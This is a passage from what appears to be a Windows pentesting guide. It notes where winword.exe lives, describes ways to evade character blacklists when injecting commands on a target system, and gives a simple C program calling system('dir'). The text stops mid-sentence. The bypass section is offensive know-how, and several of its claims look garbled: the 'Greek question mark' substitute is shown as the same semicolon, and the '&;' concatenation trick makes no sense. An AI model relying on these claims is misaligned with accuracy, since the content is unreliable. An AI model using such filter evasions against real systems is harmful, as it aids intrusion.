-`winword.exe` is typically located in the `C:\Program Files\Microsoft Office\root\OfficeXX` directory, where `XX` represents the version number of Microsoft Office installed on the system.
- It is important to note that `winword.exe` can be used as a vector for malicious activities, such as executing macros or launching exploits. Therefore, it is crucial to ensure the security of Microsoft Word and its associated files.
These are just a few of the many CMD commands available for Windows. Understanding and utilizing these commands can greatly enhance your effectiveness as a pentester.
In some cases, when attempting to execute commands on a target system, certain characters may be blacklisted or filtered out. This can make it difficult to execute commands that contain these restricted characters. However, there are several techniques that can be used to bypass character blacklisting and successfully execute commands.
One method to bypass character blacklisting is to substitute restricted characters with similar-looking characters that are not blacklisted. For example, if the character `;` is blacklisted, it can be replaced with a similar-looking character like `;` (Greek question mark). This can trick the system into accepting the command without triggering the blacklist.
Another technique is to use Unicode encoding to represent restricted characters. This involves converting the restricted character into its Unicode representation and using that in the command. For example, the character `;` can be represented as `%u003B` in Unicode. This can bypass the blacklist as the system may not recognize the Unicode representation as the restricted character.
If certain characters are blacklisted individually but allowed when combined with other characters, command concatenation can be used. This involves breaking the command into multiple parts and concatenating them using allowed characters. For example, if the characters `&` and `;` are blacklisted individually, but allowed when combined as `&;`, the command can be split into two parts and concatenated using `&;` to bypass the blacklist.
By employing these techniques, it is possible to bypass character blacklisting and successfully execute commands on a target system. However, it is important to note that these techniques may not work in all scenarios, as the effectiveness of character blacklisting varies depending on the specific implementation and configuration of the target system.
To call CMD from C code, you can use the `system()` function provided by the C standard library. This function allows you to execute a command in the command prompt.
Here is an example of how to call CMD from C code:
```c
#include <stdlib.h>
int main() {
// Command to be executed
char command[] = "dir";
// Calling CMD using system() function
system(command);
return 0;
}
```
In the above example, the `system()` function is used to execute the `dir` command, which lists the files and directories in the current directory. You can replace `dir` with any other CMD command you want to execute.
To compile and run the above code, you can use a C compiler such as GCC. Save the code in a file with a `.c` extension (e.g., `call_cmd.c`), and then compile it using the following command:
```bash
gcc call_cmd.c -o call_cmd
```
After compiling, you can run the program by executing the generated executable file:
